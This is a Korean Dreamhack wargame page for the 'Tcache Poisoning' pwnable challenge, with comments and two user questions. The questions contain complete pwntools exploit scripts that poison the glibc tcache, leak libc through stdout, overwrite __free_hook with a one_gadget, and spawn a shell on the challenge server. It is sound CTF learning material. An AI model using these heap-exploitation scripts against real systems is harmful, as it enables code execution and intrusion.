LEVEL 3

Tcache Poisoning

pwnable
  • 문제 정보
  • 풀이 41
  • 난이도 투표 56
  • 질문 16
  • 최근 풀이자 801
  • 댓글 27

문제 설명

Description

Exploit Tech: Tcache Poisoning에서 실습하는 문제입니다.

Challenge Updates

2023.04.28: Dockerfile이 제공됩니다.

출제자 정보

avatar
Dreamhack
대표 업적 없음

First Blood!

avatar
Sechack
2024 Invitational Contenders
출제된 지 4시간 만에 풀이 완료!

난이도 투표 56

질문 16

문제 풀이에 어려움이 있으신가요?
커뮤니티에서 문제에 대한 질문하고 답변 얻기
DFB 사용을 꼭 해야하는 이유가 있을까요 ?
이번 문제의 풀이에는 Double Free Bug를 사용했는데, 사실 생각해보면 tcache에 존재하는 청크의 값을 수정할 수 있는 edit 함수가 있다면, next를 수정할 수 있기 때문에 임의의 청크를 DFB를 사용하지 않고 추가할 수 있어서 아래와 같이 풀었는데, 이렇게 풀지 않고 꼭 DFB를 써야 하는 이유가 있을까요 ? from pwn import * p = remote('host3.dreamhack.games', 24385) elf = ELF('./tcache_poison') libc = ELF('./libc-2.27.so') def allocate(size, content): p.sendlineafter(b'Edit\n', b'1') p.sendlineafter(b'Size: ', str(size).encode()) p.sendafter(b'Content: ', content) # 나중에 _IO_2_1_stdout__lsb를 보낼때 sendline으로 보내면 공백이 추가되서 안됨 def free(): p.sendlineafter(b'Edit\n', b'2') def print_chunk(): p.sendlineafter(b'Edit\n', b'3') def edit(content): p.sendlineafter(b'Edit\n', b'4') p.sendafter(b'Edit chunk: ', content) tcache[0x40] : empty chunk : first(1) allocate(0x30, b'first') tcache[0x40] : first(1) chunk : first(1) free() # (1) tcache[0x40] : first(1) -> stdout -> IO_2_1_stdout chunk : first(1) stdout = elf.symbols['stdout'] edit(p64(stdout) + b'a') tcache[0x40] : stdout -> IO_2_1_stdout chunk : first(1) allocate(0x30, b'a') 어떤 값을 대입하면서 allocate하더라도 이미 tcache에는 stdout이 링크드 리스트의 헤더(청크의 헤더X)로 존재하므로 상관없음 tcache[0x40] : IO_2_1_stdout chunk : stdout IO_2_1_stdout_lsb = p64(libc.symbols['_IO_2_1_stdout'])[0:1] # 첫번째 문자열 가져옴 : 문자열에서 첫번째는 lsb allocate(0x30, _IO_2_1_stdout_lsb) 여기서 중요한게, 바로 아래에서 print_chunk를 할건데, stdout에 저장된(가리키는) IO_2_1_stdout을 변조하면 안됨 하지만 libc base를 몰라서 IO_stdout을 모르지만, 다행히 하위 3비트는 오프셋으로 고정되어 있어서 하위 1바이트인 lsb도 고정되있어서 lsb를 대입해주면 됨(리틀엔디언 잘 생각) print_chunk() # stdout에 저장된 IO_2_1_stdout_lsb 주소 출력 p.recvuntil(b'Content: ') # print_chunk에서 'Content: '는 안받아줬기 때문에 여기까지 받아줘야 libc_base를 제대로 계산 가능 Leak libc base libc_base = u64(p.recvn(6).ljust(8, b'\x00')) - libc.symbols['IO_2_1_stdout'] free_hook = libc_base + libc.symbols['__free_hook'] og = libc_base + 0x4f3ce og = libc_base + 0x4f3d5 og = libc_base + 0x4f432 og = libc_base + 0x10a41c 여기서 tcache[0x40] 을 다시 쓰면 IO_2_1_stdout을 가져오는데 이 주소의 값을 바꾸면 안되므로 다른 tcache 엔트리를 써야함 tcache[0x50] : empty chunk : first(1) allocate(0x40, b'first') tcahce[0x50] : first(1) chunk : first(1) free() tcache[0x50] : first(1) -> free_hook chunk : first(1) edit(p64(free_hook)) tcache[0x50] : free_hook chunk : first(1) allocate(0x40, b'a') tcache[0x50] : empty chunk : free_hook allocate(0x40, p64(og)) # free_hook이 저장된 주소에 og가 저장되어 free_hook -> og를 가리키게 됨 Exploit free() p.interactive() `
ro
timeout관련
from pwn import * p = remote("host3.dreamhack.games", 15157) #p = process("./tcache_poison") e = ELF("./tcache_poison") libc = ELF("./libc-2.27.so") #full_relro이기때문에 hook_overwrite를 고려해볼수도 있고 #double free bug를 써봐야할듯 stdout = e.symbols['stdout'] p.sendline(b'1') p.sendlineafter(b': ', b'48') p.sendafter(b': ', str('31337')) p.sendlineafter(b't\n', b'2') p.sendlineafter(b't\n',b'4') p.sendafter(b': ',str('AAAAAAAAA')) p.sendlineafter(b't\n',b'2') p.sendlineafter(b't\n', b'1') p.sendlineafter(b': ', b'48') p.sendafter(b': ', p64(stdout)) p.sendlineafter(b't\n', b'1') p.sendlineafter(b': ', b'48') p.sendafter(b': ', b'BBBBBBBB') p.sendlineafter(b't\n', b'1') p.sendlineafter(b': ', b'48') p.sendafter(b': ', b'\x60') p.sendlineafter(b't\n', b'3') p.recvuntil(b'Content: ') stdout = u64(p.recv(6) + b"\x00" * 2) print(hex(stdout)) lb = stdout - libc.symbols["IO_2_1_stdout"] fh = lb + libc.symbols["__free_hook"] print(hex(lb)) print(hex(fh)) oneshot = lb + 0x4f432 p.sendlineafter(b"t\n", b'1') p.sendlineafter(b": ", b'70') p.sendafter(b": ", b"31337") p.sendlineafter(b"t\n", b'2') p.sendlineafter(b"t\n", b'4') p.sendafter(b": ", b'aaaaaaaaa') p.sendlineafter(b"t\n", b'2') p.sendlineafter(b't\n', b'1') p.sendlineafter(b': ', b'70') p.sendafter(b": ", p64(fh)) p.sendlineafter(b't\n', b"1") p.sendlineafter(b": ", b'70') p.sendafter(b': ', b'31337') p.sendlineafter(b't\n', b"1") p.sendlineafter(b": ", b'70') p.sendafter(b': ', p64(oneshot)) p.sendlineafter(b"t\n", b'2') p.interactive() 저의 exploit코드는다음과 같습니다 local에서 실행시 끝까지 잘 진행되고 결과적으로 onegadget의 주소로 이동해서 터미널에서 ls를 치면 sh: 1: 2t.\x91\xd6: not found Allocate Free Print Edit 위와같은 문구가 무한히 반복하며 출력되어 서버에서도 시도했는데 서버는 sendlineafter에서 timeout이 발생하더라구요 Traceback (most recent call last): File "ex.py", line 17, in <module> p.sendafter(b': ',str('AAAAAAAAA')) File "/usr/local/lib/python3.6/dist-packages/pwnlib/tubes/tube.py", line 813, in sendafter res = self.recvuntil(delim, timeout=timeout) 다른분들의 ex코드들을 여러번 바꿔가며 실행해도 서버에서 sendlineafter부분에서 timeout이 발생합니다 원인이 뭘까요?
avatar NetRuuner32

최근 풀이자 801

adsa
대표 업적 없음
avatar
tr4ce
새싹
avatar
Tan90909090
대표 업적 없음
flu_0w0_r1t3
대표 업적 없음
GWook
대표 업적 없음
qkrwngud
대표 업적 없음
이제연
대표 업적 없음
Eager
대표 업적 없음
Chris-mk
대표 업적 없음
bimil
대표 업적 없음

댓글 27

avatar
Finder
웹해킹 입문
포너블 어렵다...
avatar
사용자
해결사
좋은 연습문제입니다~
avatar
KnightChaser
공부벌레
뉴비한테는 좀 매운맛...☆
avatar
is07king
워게임: 1
어려워여
avatar
착한 범고래
워게임: 50
DFB
avatar
UKO
2022 Christmas CTF 운영
:)
avatar
Sunja
강의 수강: 10
이해를 하니...재미가 생긴 문제
avatar
msh1307
대표 업적 없음
: )
For_Freedom
워게임 고인물
ㅎㅎ
0I0Hackyy
강의 수강: 1
재밌습니다.